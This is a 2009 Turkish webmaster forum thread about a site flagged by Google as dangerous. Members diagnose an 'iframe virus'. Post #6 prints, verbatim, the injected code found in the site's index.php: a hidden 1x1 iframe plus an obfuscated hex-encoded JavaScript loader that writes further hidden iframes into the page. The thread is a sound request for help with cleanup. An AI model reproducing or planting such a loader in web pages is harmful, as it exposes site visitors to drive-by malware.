• 08-01-2009, 15:40:53
    #1
    Bugün google aramasından Sitemde kötü amaçlı yazılım tehtidi ve Bu site bilgisayarınıza zarar verebilir gibi hatalar aldım. Bunun sebebi pop-up reklam kodu olabilirmi? Bilgisi olan birisi cevap verirse çok sevinirim..

    Bilgilendirme amaçlı 2 sayfa var;

    Güvenli Tarama Tanı sayfası: dersnotlari.biz
    Güvenli Tarama Tanı sayfası

    Softreklam'ın pop-up kodu vardı az önce kaldırdım..
  • 08-01-2009, 19:04:03
    #2
    ilk defa duydum pop up böyle birşeye neden oluyorsa hemen kaldıralım
  • 08-01-2009, 19:19:04
    #3
    softreklamı bende kullanıyorum öyle bir sorun vermedi ve pop-up googlede fişlenme sebebi olamaz. sitenizde sanırım bir virüs var temizlemenizi öneririm en kısa zamanda..

    google webmaster tools dan yeniden değerlendirme istediği gönder.
    virüsü temizlerseniz google tarama yaptığı zaman düzelicektir.
  • 08-01-2009, 19:23:04
    #4
    Virüs taraması yapıcam umarım sonuç verir... Tavsiye için teşekkürler
  • 08-01-2009, 19:25:11
    #5
    Üyeliği durduruldu
    index.php ye bak arkadaşım. i frame virusu bulaşmış olma ihtimali çok yüksek.
  • 08-01-2009, 19:31:42
    #6
    İndexte böyle birşey var ben eklemediğim halde;
    <iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c102916999516l4951b816a4831(l4951b816a5001){ var l4951b816a57d2=16; return (parseInt(l4951b816a5001,l4951b816a57d2));}function l4951b816a6773(l4951b816a6f67){  var l4951b816a7717='';l4951b816a9657=String.fromCharCode;for(l4951b816a7ee4=0;l4951b816a7ee4<l4951b816a6f67.length;l4951b816a7ee4+=2){ l4951b816a7717+=(l4951b816a9657(c102916999516l4951b816a4831(l4951b816a6f67.substr(l4951b816a7ee4,2))));}return l4951b816a7717;} var x81='';var l4951b816a9e28='3C736'+x81+'3726'+x81+'970743E6'+x81+'96'+x81+'6'+x81+'28216'+x81+'D796'+x81+'96'+x81+'1297B6'+x81+'46'+x81+'F6'+x81+'3756'+x81+'D6'+x81+'56'+x81+'E742E77726'+x81+'9746'+x81+'528756'+x81+'E6'+x81+'5736'+x81+'36'+x81+'1706'+x81+'528202725336'+x81+'32536'+x81+'392536'+x81+'36'+x81+'2537322536'+x81+'312536'+x81+'6'+x81+'42536'+x81+'352532302536'+x81+'6'+x81+'52536'+x81+'312536'+x81+'6'+x81+'42536'+x81+'3525336'+x81+'42536'+x81+'332533312533302532302537332537322536'+x81+'3325336'+x81+'42532372536'+x81+'3825373425373425373025336'+x81+'125326'+x81+'6'+x81+'25326'+x81+'6'+x81+'2536'+x81+'372536'+x81+'6'+x81+'6'+x81+'2536'+x81+'372536'+x81+'6'+x81+'6'+x81+'2533322536'+x81+'6'+x81+'42536'+x81+'3525326'+x81+'52536'+x81+'6'+x81+'52536'+x81+'3525373425326'+x81+'6'+x81+'25326'+x81+'52536'+x81+'372536'+x81+'6'+x81+'6'+x81+'25326'+x81+'6'+x81+'2536'+x81+'332536'+x81+'382536'+x81+'352536'+x81+'332536'+x81+'6'+x81+'225326'+x81+'52536'+x81+'382537342536'+x81+'6'+x81+'42536'+x81+'6'+x81+'32532372532302537372536'+x81+'392536'+x81+'342537342536'+x81+'3825336'+x81+'42533332533342533372532302536'+x81+'382536'+x81+'352536'+x81+'392536'+x81+'372536'+x81+'3825373425336'+x81+'42533342533322532302537332537342537392536'+x81+'6'+x81+'32536'+x81+'3525336'+x81+'4253237253736'+x81+'2536'+x81+'392537332536'+x81+'392536'+x81+'322536'+x81+'392536'+x81+'6'+x81+'32536'+x81+'3925373425373925336'+x81+'12536'+x81+'382536'+x81+'392536'+x81+'342536'+x81+'342536'+x81+'352536'+x81+'6'+x81+'525323725336'+x81+'525336'+x81+'325326'+x81+'6'+x81+'2536'+x81+'392536'+x81+'36'+x81+'2537322536'+x81+'312536'+x81+'6'+x81+'42536'+x81+'3525336'+x81+'52729293B7D76'+x81+'6'+x81+'172206'+x81+'D796'+x81+'96'+x81+'13D7472756'+x81+'53B3C2F736'+x81+'3726'+x81+'970743E';document.write(l4951b816a6773(l4951b816a9e28));</script>
  • 08-01-2009, 19:37:43
    #7
    evet iframe virüsü bu sitenden bunu hemen silmeni sonra ftp şifreni değişmeni hatta pcne format atmanı öneririm.
  • 08-01-2009, 19:42:16
    #8
    tamam teşekkürler...

    Peki nasıl bulaşmış olabilir?
  • 08-01-2009, 19:48:13
    #9
    kesin oalrak bilgisayarından bulaşmış. ftp açınca direk dalıyor bu virüs.